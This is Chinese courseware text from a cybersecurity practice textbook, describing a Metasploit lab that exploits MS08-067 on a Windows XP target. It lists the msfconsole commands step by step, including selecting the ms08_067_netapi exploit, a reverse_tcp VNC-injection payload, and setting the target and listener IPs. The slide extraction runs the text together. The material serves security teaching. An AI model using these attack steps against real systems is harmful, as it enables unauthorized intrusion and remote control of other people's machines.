《網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程》課件14.3課件

第四篇滲透攻擊測(cè)試實(shí)驗(yàn)篇第十四章漏洞利用實(shí)驗(yàn)14.3Metasploit攻擊實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程114.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)?zāi)康模?/p>

熟練掌握Metasploit滲透測(cè)試框架的使用，能使用Metasploit獨(dú)立完成一次漏洞利用過(guò)程。網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程214.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)原理： Metasploit是由Rapid7公司開發(fā)的功能強(qiáng)大的開源滲透測(cè)試框架。它提供了優(yōu)秀的模塊化框架和底層基礎(chǔ)庫(kù)支持，靈活的插件機(jī)制和命令行批處理文件機(jī)制，集成了Nmap，Nessus，OpenVAS，SET等優(yōu)秀的滲透測(cè)試工具。此外，還可以根據(jù)需求自行編寫擴(kuò)展腳本進(jìn)行個(gè)性化定制。網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程314.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)原理：

網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程414.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)要點(diǎn)說(shuō)明：（實(shí)驗(yàn)難點(diǎn)說(shuō)明）Metasploit滲透測(cè)試框架的使用網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程514.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)準(zhǔn)備：（實(shí)驗(yàn)環(huán)境，實(shí)驗(yàn)先有知識(shí)技術(shù)說(shuō)明）KaliLinux有MS08-067漏洞的WindowsXP（靶機(jī)）網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程614.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)步驟：（1）根據(jù)掃描階段搜集到的信息，選取漏洞進(jìn)行利用。以WindowsXP系統(tǒng)的MS08-067漏洞為例：

網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程714.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)步驟：（2）終端輸入“msfconsole”打開MSF的命令行交互界面。網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程814.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)步驟：（3）搜索漏洞攻擊程序： msf>searchms08-067網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程914.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)步驟：（4）選擇合適的漏洞攻擊程序：msf>useexploit/windows/smb/ms08_067_netapi網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程1014.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)步驟：（5）顯示可用的攻擊載荷： msf>showpayloads網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程1114.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)步驟：（6）選擇攻擊載荷：msf>setpayloadwindows/vncinject/reverse_tcp網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程1214.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)步驟：（7）查看對(duì)目標(biāo)進(jìn)行漏洞攻擊之前要設(shè)置的選項(xiàng)： msf>showoptions網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程1314.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)步驟：（8）對(duì)選項(xiàng)進(jìn)行設(shè)置：msf>setRHOST192.168.52.129（設(shè)置攻擊目標(biāo)IP）msf>setLHOST192.168.52.133（設(shè)置監(jiān)聽者IP）網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程1414.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)步驟：（9）使用“exploit”或“run”命令，對(duì)目標(biāo)發(fā)動(dòng)漏洞攻擊。網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程15攻擊成功14.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)要求：熟練掌握Metasploit漏洞利用的流程，在完成上述步驟后，進(jìn)一步熟悉Metasploit各個(gè)功能模塊的作用及使用網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程1614.3Metasploit攻擊實(shí)驗(yàn)實(shí)驗(yàn)擴(kuò)展要求：嘗試熟練使用Metasploit的各個(gè)功能模塊，完成對(duì)Windows和Linux系統(tǒng)一些常見漏洞的利用過(guò)程